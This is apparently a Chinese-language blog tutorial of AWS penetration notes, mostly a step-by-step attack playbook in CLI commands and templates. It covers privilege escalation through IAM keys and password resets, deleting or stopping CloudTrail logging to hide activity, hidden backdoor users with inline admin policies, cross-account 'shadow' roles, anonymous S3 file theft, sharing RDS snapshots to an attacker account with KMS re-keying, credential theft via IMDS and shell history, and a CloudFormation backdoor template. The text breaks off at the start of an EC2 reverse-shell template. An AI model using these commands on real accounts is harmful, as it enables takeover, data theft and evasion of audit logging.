这里比较好理解,就是当我们通过一种方法获得了目标的用户权限,注意并不是角色权限,角色只有短期的key,用户才拥有长期的key,然后生成一个新密钥就行。

环境搭建

创建一个具有iam:CreateAccessKey权限的用户就行,后面再删了。

这里就不细放了,总之创建一个用户,啥都没有就行,就给他一个名字,然后去内联策略。

就可以了。

接着创建一个密钥。

然后一直下一步就OK了。 接下来写入AWSCLI的配置当中。

1
aws configure

可以了,开始复现。

复现验证

1
2
aws iam create-access-key --user-name <target-user>
aws iam create-access-key --user-name test

仅此而已,如果还要加点什么的话,下面的两个命令可以确认你搜索的账户是否存在create-access-key权限。

1
2
aws iam list-attached-user-policies --user-name <target-user>
aws iam list-user-policies --user-name <target-user>

看到这些命令可能会有点好奇,这个命令后面<target-user>不是一个变量吗,是否能生成别人的密钥呢,答案是可以的。但是需要如下权限。

iam:CreateAccessKey + iam:UpdateUser

有这两个权限想指定谁就指定谁,甚至AWS允许 iam:UpdateUser,你甚至可以修改别人密码。

1
aws iam update-login-profile --user-name admin --password "NewSuperSecurePassword" --password-reset-required

可以试试管理员权限的账户能不能给我们刚刚生成的test账户重新生成一个密钥。

没有问题,管理员一如既往的强大。

补充部分

这里补充持久化,当你生成了一个key,肯定会被日志记录的,这里把他删了就能持久化了。当然这需要有 cloudtrail 权限。

  • AWS CloudTrail 记录 iam:CreateAccessKey 事件,建议在攻击后删除 CloudTrail 日志:
1
aws cloudtrail delete-trail --name default-trail
  • 关闭 CloudTrail(更隐蔽,但风险更高):
1
aws cloudtrail stop-logging --name default-trail
  • 创建多个 Access Key(一个用户最多可以有 2 个 Access Key):
1
aws iam create-access-key --user-name <target-user>
  • 创建隐藏用户(如果有 iam:CreateUser 权限):
1
2
aws iam create-user --user-name backdoor-user
aws iam create-access-key --user-name backdoor-user
  • 赋予新 Access Key 更高权限:
1
aws iam attach-user-policy --user-name <target-user> --policy-arn arn:aws:iam::aws:policy/Admin

IAM 渗透补充

按照大纲来看四个主要部分已经学习完了,但其实还有一部分IAM权限的渗透,这里作为补充并不难,不需要搭建环境,上面四个如果掌握了,实际上下面这些记住命令就能理解原理。

iam:CreateUser(创建新 IAM 用户)

概念

  • 作用:允许创建新的 IAM 用户,可用于 持久化后门。
  • 风险:攻击者可以创建一个新的管理员账户,即使管理员删除了其他凭据,攻击者仍然可以访问 AWS。

创建一个新的 IAM 用户

1
aws iam create-user --user-name backdoor-user

返回示例:

1
2
3
4
5
6
7
8
9
{
    "User": {
        "Path": "/",
        "UserName": "backdoor-user",
        "UserId": "AIDAEXAMPLE",
        "Arn": "arn:aws:iam::123456789012:user/backdoor-user",
        "CreateDate": "2025-03-06T12:34:56Z"
    }
}

(2) 给新用户创建 Access Key

1
aws iam create-access-key --user-name backdoor-user

返回:

1
2
3
4
5
6
7
8
9
{
    "AccessKey": {
        "UserName": "backdoor-user",
        "AccessKeyId": "AKIAEXAMPLE",
        "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
        "Status": "Active",
        "CreateDate": "2025-03-06T12:34:56Z"
    }
}

(3) 绑定高权限角色(如果 iam:PassRole也有权限)

1
aws iam attach-user-policy --user-name backdoor-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

(4) 使用新的 Access Key 登录 AWS

1
2
aws configure set aws_access_key_id AKIAEXAMPLE
aws configure set aws_secret_access_key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

然后测试权限:

1
aws sts get-caller-identity

如果返回:

1
2
3
4
5
{
    "UserId": "AIDAEXAMPLE",
    "Account": "123456789012",
    "Arn": "arn:aws:iam::123456789012:user/backdoor-user"
}

iam:AttachUserPolicy(给低权限用户绑定高权限策略)

概念

  • 作用:允许给现有的 IAM 用户 绑定新的权限策略,比如让一个低权限用户变成管理员。
  • 风险:攻击者可以找到一个已有的 IAM 用户,并偷偷给他绑定 AdministratorAccess,然后用这个账户执行高权限操作。

(1) 查看当前 AWS 账户的所有用户

1
aws iam list-users

返回示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
{
    "Users": [
        {
            "UserName": "developer",
            "Arn": "arn:aws:iam::123456789012:user/developer"
        },
        {
            "UserName": "test-user",
            "Arn": "arn:aws:iam::123456789012:user/test-user"
        }
    ]
}

(2) 给 developer绑定 AdministratorAccess

1
aws iam attach-user-policy --user-name developer --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

(3) 验证 developer是否获得了高权限

1
aws iam list-attached-user-policies --user-name developer

返回:

1
2
3
4
5
6
7
8
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}

现在 developer 已经是管理员了。

简单总结一下这两部分的权限:创建用户属于持久化,赋予权限属于提权的部分,仔细看可以看到两部分是有重复的,其实很好理解,重点讨论一下 iam:AttachUserPolicy ,如果存在这个权限是否能给任何角色任何用户提权呢,答案是要看具体配置,感兴趣可以去内联策略试试看,这里放一个非限制的策略(什么托管策略都能附上)和一个限制的策略(仅仅只能附限定的策略)

可滥用策略

1
2
3
4
5
6
7
8
{
    "Effect": "Allow",
    "Action": [
        "iam:CreateUser",
        "iam:AttachUserPolicy"
    ],
    "Resource": "*"
}

受限制策略

1
2
3
4
5
{
    "Effect": "Allow",
    "Action": "iam:AttachUserPolicy",
    "Resource": "arn:aws:iam::aws:policy/ReadOnlyAccess"
}

IAM 渗透总结后记

至此大部分的IAM渗透已经学习实操完了,在这一节中耗费了非常多的时间,虽然只有6个策略,但是这里涉及了很多架构原理,需要理解很久,而且并不单单一个策略的问题,需要对他们之间的交互有一个深刻的理解,总体来看还是挺有意思的,就是太复杂了,而复杂的原因是因为架构做的太好了,环环相扣。

存储服务(S3)攻击面

S3存储桶枚举

S3 存储桶的访问控制

在 AWS S3 中,存储桶的访问权限由 两种主要机制 控制:

  1. S3 存储桶策略 (Bucket Policy):
  • 决定哪些用户或账户可以访问存储桶 (s3:ListBucket、s3:GetObject)。
  • 可能包含 "Principal": "*",导致存储桶对所有人开放。
  1. 访问控制列表 (ACL):
  • 旧版权限管理方式,允许特定 AWS 账户或匿名用户访问存储桶或对象。
  • READ 权限可以允许外部用户列目录 (ListBucket)。
  • WRITE 权限可以允许攻击者上传恶意文件。

📌 漏洞点:

  • 存储桶策略错误:如果 Principal: * 且 Action: "s3:ListBucket",攻击者可以列出所有文件。
  • ACL 误配置:如果 READ 权限对 Everyone 开放,攻击者可以读取文件。

S3 存储桶枚举方法

没有那么多的环境搭建,原理非常简单,就是它允许你没有验证就可以操控S3存储桶,至于能操控到什么地步,取决于他给的错误权限有哪些,看看实操就知道了。

这里有两种方法,工具探测 和 手动验证

手动验证

(1) 测试存储桶是否可被列目录 (s3:ListBucket)

1
aws s3 ls s3://bucket-name --no-sign-request

解释:

  • --no-sign-request:用于匿名访问(不使用 AWS 凭据)。
  • 如果命令成功,说明存储桶允许 s3:ListBucket,你可以看到存储桶内的所有文件:
1
2
2024-03-06 12:00:00   450K secrets.txt
2024-03-06 12:01:00   2.3M backup.zip

(2) 测试是否可以下载文件 (s3:GetObject)

1
aws s3 cp s3://bucket-name/secrets.txt . --no-sign-request

解释:

  • 如果能成功下载,说明该存储桶允许匿名用户读取文件 (s3:GetObject)。

(3) 使用 curl测试 S3 存储桶是否开放

AWS S3 对象存储的 URL 格式通常如下:

1
https://bucket-name.s3.amazonaws.com/file.txt

你可以直接用 curl测试:

1
curl -I https://bucket-name.s3.amazonaws.com/secrets.txt

📌返回结果解析:

  • 200 OK:文件可以被匿名访问。
  • 403 Forbidden:需要身份验证,无法直接访问。
  • 404 Not Found:文件不存在,或者存储桶本身是私有的。
工具探测

(1) 使用 s3scanner进行存储桶扫描

s3scanner 是一个专门用于探测 S3 存储桶是否开放的工具。

1
2
3
git clone https://github.com/sa7mon/S3Scanner.git
cd S3Scanner
pip3 install -r requirements.txt

扫描某个存储桶是否公开

1
python3 s3scanner.py bucket-name

扫描多个存储桶

1
python3 s3scanner.py -l bucket-list.txt

常见结果解释:

  • [+] Public Read:任何人都可以读取存储桶。
  • [+] Public Write:任何人都可以写入存储桶(可以上传文件)。
  • [+] Public List:任何人都可以列出存储桶中的文件。

(2) 使用 bucket-stream进行实时存储桶发现

bucket-stream 通过监听 公共日志流,实时发现可能的 AWS 存储桶名称。

1
2
3
git clone https://github.com/eth0izzle/bucket-stream.git
cd bucket-stream
python3 bucket-stream.py

这个工具的作用:

  • 监听 AWS 访问日志,提取可能的存储桶名称。
  • 适用于 找到新的 AWS 资产(比如某公司有存储桶被暴露)。

存储桶策略绕过

这一节主要是对上一个枚举的补充,枚举只是告诉了可以干什么,这个是原理介绍。

存储桶策略错误:跨账户访问漏洞

S3 存储桶策略通常使用 "Principal" 字段来指定谁可以访问存储桶。如果 "Principal": "*",表示任何人都可以访问该存储桶,可能导致数据泄露。

错误策略示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": ["s3:ListBucket", "s3:GetObject"],
            "Resource": "arn:aws:s3:::vulnerable-bucket/*"
        }
    ]
}

任何人都可以读取存储桶数据! 由此引出了上一节的东西,为什么我们能列出下载上传文件到存储桶。

(1) 测试是否能列出存储桶内容

1
aws s3 ls s3://vulnerable-bucket --no-sign-request

如果返回文件列表,说明该存储桶的 s3:ListBucket权限错误开放!

(2) 测试是否可以下载文件

1
aws s3 cp s3://vulnerable-bucket/secrets.txt . --no-sign-request

如果能成功下载,说明 s3:GetObject权限错误开放!

(3) 测试是否可以上传文件

如果 s3:PutObject 也被开放,攻击者可以上传恶意文件:

1
2
echo "Malicious File" > malware.txt
aws s3 cp malware.txt s3://vulnerable-bucket/malware.txt --no-sign-request

如果能上传,说明该存储桶也开放了写入权限!

预签名 URL 劫持

AWS 允许创建 预签名 URL,它是一个临时授权 URL,可以让用户访问 S3 存储桶的对象,即使存储桶本身是私有的。

预签名 URL 示例

1
aws s3 presign s3://private-bucket/secret.txt
  • 这个命令会生成一个 URL,允许短时间内访问 secret.txt。
  • 该 URL 可能会像这样:
1
https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credent

攻击方式

如果攻击者能获取到这个 预签名 URL(比如通过日志、浏览器控制台、代码泄露等),即使 S3 存储桶是私有的,攻击者也可以下载文件!

(1) 发现预签名 URL

  • 在 Web 应用前端代码中查找:
  • 使用浏览器 F12 开发者工具,搜索 "s3.amazonaws.com"
  • 在日志文件中查找
1
grep -i "amazonaws.com" /var/log/*.log
  • 在 Git 代码中查找
1
git grep "s3.amazonaws.com"

(2) 测试是否能访问文件

1
curl -I "https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=..."
  • 如果返回 200 OK,说明预签名 URL 仍然有效,攻击者可以下载文件:
1
curl -o stolen-secret.txt "https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=..."

这两个利用的前提都是配置错误,需要攻击者将他们找出来,原理都比较简单很好理解。

数据泄露与持久化

S3 敏感文件下载

目标:

  • 不仅仅是枚举存储桶,而是精准定位敏感文件(数据库备份、配置文件、日志等)。
  • 即使存储桶本身受限,某些文件 ACL 配置错误,也可以直接下载!

典型的敏感文件类型:

  • backup.zip / db-dump.sql(数据库备份)
  • config.json / .env(API 密钥 & 配置文件)
  • access.log / debug.log(日志文件,可能包含 AWS 密钥)

测试能否下载某个已知敏感文件

1
aws s3 cp s3://target-bucket/backup.zip . --no-sign-request
  • 如果文件可下载 :说明 backup.zip 这个文件的 ACL 配置错误。
  • 如果返回 403 Forbidden :说明 s3:GetObject 被禁止。

使用 s3scanner自动扫描敏感文件

安装 s3scanner

1
2
3
git clone https://github.com/sa7mon/S3Scanner.git
cd S3Scanner
pip3 install -r requirements.txt

📌 使用 s3scanner扫描存储桶中的敏感文件

1
python3 s3scanner.py --bucket target-bucket --wordlist sensitive-files.txt

wordlist.txt 可能包含:

1
2
3
4
5
6
backup.zip
config.json
.env
db-dump.sql
access.log
error.log

爆破出200就说明可以被下载,和上一个虽然有点相似,但是逻辑不一样,其实就是爆破。

RDS 数据库快照窃取

利用 AWS RDS 误配置,创建数据库快照(Snapshot),并共享到攻击者账户,从而获取数据库数据。

Amazon RDS(Relational Database Service)支持 创建快照(Snapshot),用于备份和恢复数据库。

  • RDS 快照可以被共享(modify-db-snapshot-attribute),如果配置错误,攻击者可以窃取数据库数据。
  • 即使没有 RDS 直接访问权限,攻击者仍然可以通过 快照共享漏洞 窃取数据库。

1. 检查是否可以创建 RDS 快照

如果攻击者获得了某个 AWS 账户的访问权限,他可以尝试创建 RDS 快照:

1
aws rds create-db-snapshot --db-instance-identifier victim-db --db-snapshot-identifier stolen-snapshot

解释:

  • --db-instance-identifier victim-db:目标 RDS 实例。
  • --db-snapshot-identifier stolen-snapshot:创建快照 stolen-snapshot。

如果命令执行成功,说明: 当前身份有 rds:CreateDBSnapshot权限,可以创建快照。


2. 查看当前账户的 RDS 快照

如果攻击者无法创建快照,他可以尝试查找现有快照:

1
aws rds describe-db-snapshots

示例返回:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
    "DBSnapshots": [
        {
            "DBSnapshotIdentifier": "prod-db-snapshot",
            "DBInstanceIdentifier": "victim-db",
            "Status": "available",
            "SnapshotCreateTime": "2024-03-06T12:00:00Z"
        }
    ]
}

如果发现快照存在,攻击者可以尝试共享它!


3. 共享快照到攻击者账户

如果快照策略错误,攻击者可以将其共享到自己的 AWS 账户:

1
2
3
4
5
6
aws rds modify-db-snapshot-attribute \
    --db-snapshot-identifier prod-db-snapshot \
    --attribute-name restore \
    --values-to-add 攻击者AWS账户ID

aws rds modify-db-snapshot-attribute --db-snapshot-identifier prod-db-snapshot --attribute-name restore --values-to-add 攻击者AWS账户ID

解释:

  • --db-snapshot-identifier prod-db-snapshot:要共享的快照。
  • --attribute-name restore:修改快照的 “restore” 属性,允许其他账户恢复该快照。
  • --values-to-add:添加攻击者的 AWS 账户 ID,使其可以访问该快照。

如果命令成功,攻击者就能在自己的 AWS 账户中访问该快照!


4. 在攻击者账户中恢复 RDS

攻击者登录自己的 AWS 账户,并恢复该快照:

1
2
3
aws rds restore-db-instance-from-db-snapshot \
    --db-instance-identifier stolen-db \
    --db-snapshot-identifier prod-db-snapshot

如果成功,攻击者现在拥有该数据库的完整副本!

5. 复制 RDS去除加密(较为复杂)

第四步不是可以在攻击者账户中恢复RDS吗,前提是这个快照没有加密才能直接恢复,如果加密了就没有办法移到攻击者账户了,并且复制的时候默认也是加密的,不能靠复制的时候给他的加密置空,但是我们可以新建一个KMS密钥然后在复制阶段的时候替换原先的加密,这样KMS密钥是可控的。

创建一个新的 KMS 密钥

如果你没有合适的 KMS 密钥,你需要手动创建一个新的:

1
aws kms create-key --description "My RDS Key"

然后获取 KeyId:

1
aws kms list-keys

返回:

1
2
3
4
5
6
7
{
    "Keys": [
        {
            "KeyId": "abcd1234-5678-efgh-ijkl-9876543210mn"
        }
    ]
}
复制快照并使用新 KMS 密钥

需要使用新创建的 KMS 密钥来复制快照:

1
2
3
4
5
6
aws rds copy-db-snapshot \
    --source-db-snapshot-identifier database-1-snapshot \
    --target-db-snapshot-identifier new-snapshot \
    --kms-key-id abcd1234-5678-efgh-ijkl-9876543210mn

aws rds copy-db-snapshot --source-db-snapshot-identifier database-1-snapshot --target-db-snapshot-identifier new-snapshot --kms-key-id abcd1234-5678-efgh-ijkl-9876543210mn

这样,new-snapshot仍然是加密的,但它使用的是你可控的 KMS 密钥!

允许目标账户访问这个 KMS 密钥

需要允许目标 AWS 账户访问这个 KMS 密钥:

1
2
3
4
5
6
aws kms create-grant \
    --key-id abcd1234-5678-efgh-ijkl-9876543210mn \
    --grantee-principal arn:aws:iam::650*******:root \
    --operations Decrypt

aws kms create-grant --key-id abcd1234-5678-efgh-ijkl-9876543210mn --grantee-principal arn:aws:iam::650*******:root --operations Decrypt

这样,650 这个账户才能解密 new-snapshot!

共享新快照
1
2
3
4
5
6
aws rds modify-db-snapshot-attribute \
    --db-snapshot-identifier new-snapshot \
    --attribute-name restore \
    --values-to-add 6502*******

aws rds modify-db-snapshot-attribute --db-snapshot-identifier new-snapshot1 --attribute-name restore --values-to-add 6502*******

最后一步有点复杂,尝试实操看看。如下

一般来说1-4就行了,第五步是在目标加密非常严格的情况下可以这样用,比较麻烦,一般1-4步已经能传递给攻击者了,不用多此一举,这也是为什么我放到了第五步,如果因为加密而无法共享的情况下可以加上第五步。

后门用户创建(隐蔽后门技术)

在 AWS 账户中创建一个隐蔽的后门用户,以便持久化访问,即使管理员发现异常登录后删除了常规 IAM 账户,攻击者仍然能够继续控制 AWS 账户。

后门用户创建操作

1. 创建一个隐蔽的 IAM 用户
1
aws iam create-user --user-name support-user

策略:

  • 使用 AWS 官方命名风格(如 aws-support, backup-user),减少管理员注意。
  • 隐藏在已有用户列表中,避免被管理员察觉。

2. 为该用户创建访问密钥
1
aws iam create-access-key --user-name support-user

输出示例:

1
2
3
4
5
6
7
8
{
    "AccessKey": {
        "UserName": "support-user",
        "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
        "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
        "Status": "Active"
    }
}

访问密钥可以用于 AWS CLI/API 调用,即使管理员删除了用户登录权限,仍然可以远程访问!


3. 赋予用户隐蔽的管理员权限

如果攻击者直接附加 AdministratorAccess,很容易被发现:

1
2
3
aws iam attach-user-policy \
    --user-name support-user \
    --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

绕过检测的方法:使用内联策略!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
aws iam put-user-policy \
    --user-name support-user \
    --policy-name HiddenAdminPolicy \
    --policy-document '{
        "Version": "2012-10-17",
        "Statement": [
            {
                "Effect": "Allow",
                "Action": "*",
                "Resource": "*"
            }
        ]
    }'

aws iam put-user-policy --user-name support-user --policy-name HiddenAdminPolicy --policy-document "{\"Version\": \"2012-10-17\",\"Statement\": [{\"Effect\": \"Allow\",\"Action\": \"*\",\"Resource\": \"*\"}]}"

隐藏管理权限(不直接附加 AdministratorAccess)

区别:

  • attach-user-policy 绑定的策略可以通过 list-attached-user-policies 直接查看,容易被发现:
1
aws iam list-attached-user-policies --user-name support-user
  • 而 put-user-policy创建的是内联策略,默认不会显示在 list-attached-user-policies中!
1
aws iam list-user-policies --user-name support-user

只有深入检查 get-user-policy 才能发现:

1
aws iam get-user-policy --user-name support-user --policy-name HiddenAdminPolicy

这样,管理员即使运行 list-attached-user-policies,也看不到权限异常。

4. 进一步隐藏用户

管理员通常会定期检查活跃 IAM 用户,攻击者可以使用 iam:UpdateLoginProfile 禁用用户的密码登录,使其变成一个“无害”的 API 账户(如果报错说明本来就没有登陆权限 不用禁用):

1
aws iam update-login-profile --user-name support-user --password-reset-required

效果:

  • 这个用户 无法通过 AWS 控制台登录,但 仍然可以通过 API/CLI 使用访问密钥控制 AWS 账户!
  • 如果管理员只检查 Web 登录用户,他可能不会注意到这个“后门用户”仍然存在!

影子账户技术

上一个针对的是用户,这里针对的是IAM角色。

影子账户(Shadow User) 是一种 更隐蔽的后门技术,它的关键点在于:

  • 创建一个不会被 list-users查到的 IAM 用户
  • 利用 AWS 资源的信任关系,让攻击者可以以该账户的身份访问 AWS

影子账户创建思路

创建 IAM 角色,并允许某个外部账户访问它

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
aws iam create-role --role-name backup-support-role --assume-role-policy-document '{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "65025******"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}'

aws iam put-role-policy --role-name backup-support-role --policy-name ShadowUserMinimal --policy-document '{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "iam:CreateUser",
                "iam:CreateAccessKey",
                "iam:ListUsers",
                "iam:GetUser",
                "iam:ListAttachedUserPolicies",
                "iam:ListUserPolicies",
                "iam:GetUserPolicy",
                "iam:AttachUserPolicy",
                "iam:PutUserPolicy",
                "s3:ListAllMyBuckets",
                "s3:ListBucket",
                "s3:GetObject"
            ],
            "Resource": "*"
        }
    ]
}'

aws iam create-role --role-name backup-support-role --assume-role-policy-document "{\"Version\": \"2012-10-17\",\"Statement\": [{\"Effect\": \"Allow\",\"Principal\":{ \"AWS\": \"65025******\"},\"Action\": \"sts:AssumeRole\" }]}"
aws iam put-role-policy --role-name backup-support-role --policy-name ShadowUserMinimal --policy-document "{ \"Version\": \"2012-10-17\", \"Statement\": [ { \"Effect\": \"Allow\", \"Action\": [ \"iam:CreateUser\", \"iam:CreateAccessKey\", \"iam:ListUsers\", \"iam:GetUser\", \"iam:ListAttachedUserPolicies\", \"iam:ListUserPolicies\", \"iam:GetUserPolicy\", \"iam:AttachUserPolicy\", \"iam:PutUserPolicy\", \"s3:ListAllMyBuckets\", \"s3:ListBucket\", \"s3:GetObject\" ], \"Resource\": \"*\" } ] }"

效果:

  • 65025账户可以随时通过 sts:AssumeRole访问这个角色,而且管理员不会在 list-users 里看到这个后门!
  • 管理员即使删除了攻击者创建的 IAM 用户,攻击者仍然可以使用 AssumeRole访问 AWS!

还是挺有意思的。

实际上就是创建一个高权限的IAM角色,然后信任外部的AWSID,这样外部的那个账户就可以随时随地的获得这个角色的凭据了。

高级攻击手法

AWS CLI 凭证泄露

目标:学习 AWS CLI 凭证的存储方式、常见的泄露途径,以及如何利用已泄露的 AWS 访问凭证来控制 AWS 账户。

AWS CLI 凭证存储位置

AWS CLI 的访问凭证默认存储在用户主目录的 ~/.aws/credentials 和 ~/.aws/config 文件中:

1
cat ~/.aws/credentials

Windows 路径:

1
type C:\Users\你的用户名\.aws\credentials

示例内容:

1
2
3
[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

如果攻击者可以访问这个文件,就能完全控制 AWS 账户!


AWS CLI 凭证泄露的常见途径

1. 代码泄露

开发人员经常将 AWS 凭证硬编码到代码中:

1
2
3
4
5
6
import boto3

aws_access_key_id = "AKIAIOSFODNN7EXAMPLE"
aws_secret_access_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

s3 = boto3.client("s3", aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key)

如果代码上传到 GitHub 或其他代码仓库,攻击者可以通过 GitHub Dorking 发现 AWS 凭证!

1
github.com search: "aws_access_key_id filetype:env"

解决方案:

  • 使用 AWS IAM 角色,不直接暴露 Access Key。
  • 配置 GitHub 秘密扫描(Secret Scanning) 以检测 AWS 密钥泄露。

2. 日志泄露

AWS 密钥可能意外出现在日志文件中,例如:

1
cat /var/log/syslog | grep "aws_access_key_id"

防御措施:

  • 禁止在日志中输出敏感信息。
  • 使用 AWS Secrets Manager 代替明文密钥。

3. 终端历史记录

如果开发人员在终端直接执行 AWS CLI 命令:

1
2
aws configure set aws_access_key_id AKIAIOSFODNN7EXAMPLE
aws configure set aws_secret_access_key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

攻击者可以从 history 获取 AWS 密钥:

1
history | grep aws

防御措施:

  • 运行 history -c 清除历史记录。
  • 使用 export AWS_ACCESS_KEY_ID 代替 aws configure,避免凭证存入配置文件。

4. 环境变量泄露

某些服务器可能将 AWS 访问凭证存储在环境变量中:

1
2
echo $AWS_ACCESS_KEY_ID
echo $AWS_SECRET_ACCESS_KEY

如果攻击者能够访问服务器的 Shell,他可以轻松窃取 AWS 凭证!

防御措施:

  • 使用 IAM 角色,而不是存储静态密钥。
  • 配置 AWS_SESSION_TOKEN 使凭证短期有效,减少长期泄露风险。

5. AWS 元数据服务(IMDS)攻击

在 EC2 服务器上,AWS 会将 IAM 角色的凭证存储在 IMDS(元数据服务)中:

1
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

攻击方法:

  1. 在受害者 EC2 服务器上执行:
1
2
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
  1. 获取访问密钥:
1
2
3
4
5
{
    "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
    "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
    "Token": "FQoGZXIvYXdzEBIaDE5QTkFERV9TRVJWSUNFE..."
}

防御措施:

  • 启用 IMDSv2,防止 SSRF 攻击:
1
aws ec2 modify-instance-metadata-options --instance-id i-xxxxxxxxxx --http-tokens required
  • 禁止无权限用户访问 169.254.169.254
1
iptables -A OUTPUT -d 169.254.169.254 -j DROP

AWS CLI 凭证泄露后利用

检查凭证是否有效

如果你获取了一个 AWS 访问密钥,第一步是检查它是否有效:

1
aws sts get-caller-identity --access-key AKIAIOSFODNN7EXAMPLE --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

如果凭证有效,返回类似信息:

1
2
3
4
5
{
    "UserId": "AIDAJQABLZS4A3QDU576Q",
    "Account": "650251703094",
    "Arn": "arn:aws:iam::650251703094:user/victim-user"
}

你现在知道这个 AWS 账户 ID 和用户名了!

获取 AWS 账户的权限
1
2
aws iam list-attached-user-policies --user-name victim-user
aws iam list-user-policies --user-name victim-user

如果有高权限策略,你可以执行管理员级操作!


提权到管理员

如果凭证权限受限,你可以尝试利用 iam:PassRole或 sts:AssumeRole:

1
aws sts assume-role --role-arn arn:aws:iam::650251703094:role/AdminRole --role-session-name AdminSession

如果 sts:AssumeRole成功,你可以获得管理员权限!


持久化后门
1
2
3
aws iam create-user --user-name attacker-user
aws iam create-access-key --user-name attacker-user
aws iam attach-user-policy --user-name attacker-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

即使原始凭证被撤销,你仍然可以通过 attacker-user继续访问 AWS!

AWS CLI 凭证泄露总结

上面这些东西都是常见的,所以没有做太多解释,一般都能理解看懂,大部分是linux方面的基础,还有一部分都是之前学过的。

CloudFormation 恶意模板

这个在基础的时候没有学习过,刚好了解一下。

目标:利用 AWS CloudFormation 部署恶意模板,在受害者 AWS 账户中创建后门用户、修改现有 IAM 权限,甚至执行远程代码。

AWS CloudFormation 允许用户通过 YAML/JSON 模板xxxx自动创建和管理 AWS 资源,比如:

  • 创建 IAM 角色、S3 存储桶、EC2 实例等。
  • 自动配置 VPC、Lambda 函数、DynamoDB 等。

攻击者可以滥用 CloudFormation 部署恶意 AWS 资源,绕过传统权限检查!

这个东西危害很大,而且稍微有点复杂了,这里直接起一行解释一下,如果一个角色/用户拥有CloudFormation的全部权限,他就等于拥有了创建/修改 AWS 任何资源的权限,他能够掌控整个AWS环境,CloudFormation跟Lambda有点相似,仅仅是相似,都是通过上传一些东西来操控AWS资源,只不过CloudFormation上传的是模板,而且和Lambda不一样,Lambda是根据绑定角色的权限来确认能否调用AWS资源,而CloudFormation他的模板可以直接调用AWS资源包括EC2、Lambda、IAM、S3等等都是可以的,举个例子都知道调用IAM是可以创建用户/角色的,还可以赋权,但是相应的本身的权限也要高才行,这个就不用,你仅仅有CloudFormation它本身的权限就行了,就能创建一个管理员权限的IAM角色/用户,还能直接信任其他AWS账户,大概就是这样的一个逻辑。

下面针对其中几个服务构造模板,这里会用构造好了的就行,暂时先不学怎么写,后续跟Lambda一起学。

CloudFormation 恶意模板的攻击方式 ↓

1. 创建隐藏的 IAM 后门用户

攻击者可以利用 CloudFormation 创建一个隐蔽的 IAM 用户,并附加管理员权限:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
AWSTemplateFormatVersion: '2010-09-09'
Resources:
  BackdoorUser:
    Type: AWS::IAM::User
    Properties:
      UserName: "aws-support-bot"
  BackdoorAccessKey:
    Type: AWS::IAM::AccessKey
    Properties:
      UserName: !Ref BackdoorUser
  BackdoorPolicy:
    Type: AWS::IAM::Policy
    Properties:
      PolicyName: "HiddenAdminPolicy"
      Users:
        - !Ref BackdoorUser
      PolicyDocument:
        Version: '2012-10-17'
        Statement:
          - Effect: Allow
            Action: "*"
            Resource: "*"

Outputs:
  AccessKey:
    Value: !Ref BackdoorAccessKey
    Description: "IAM Access Key"
  SecretKey:
    Value: !GetAtt BackdoorAccessKey.SecretAccessKey
    Description: "IAM Secret Key"

执行方式

1
aws cloudformation create-stack --stack-name BackdoorStack --template-body file://backdoor.yaml --capabilities CAPABILITY_NAMED_IAM

效果

  • 创建 aws-support-bot用户(看起来像 AWS 官方服务用户)。
  • 分配访问密钥,攻击者可直接使用 aws_access_key_id登录 AWS CLI。
  • 绑定管理员策略 *:*,拥有最高权限!

那么问题来了,密钥呢?其实在上面的代码里面写好了,会存到Output中,刚好解决了没有回显而无法获得密钥的问题。

这一个例子就足够获得所有权限了,第三个模板IAM角色也能拿到所有权限,主要说一下下面的那条,就是第二条。


2. 在 EC2 UserData 里注入反向 Shell

攻击者可以利用 CloudFormation 在 EC2 实例启动时执行恶意命令,比如 通过 UserData字段获取反向 Shell:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
AWSTemplateFormatVersion: '2010-09-09'
Resources:
  MaliciousEC2:
    Type: AWS::EC2::Instance
    Properties:
      ImageId: "ami-12345678"
      InstanceType: "t2.micro"
      UserData:
        Fn::Base64: |
          #!/bin/bash
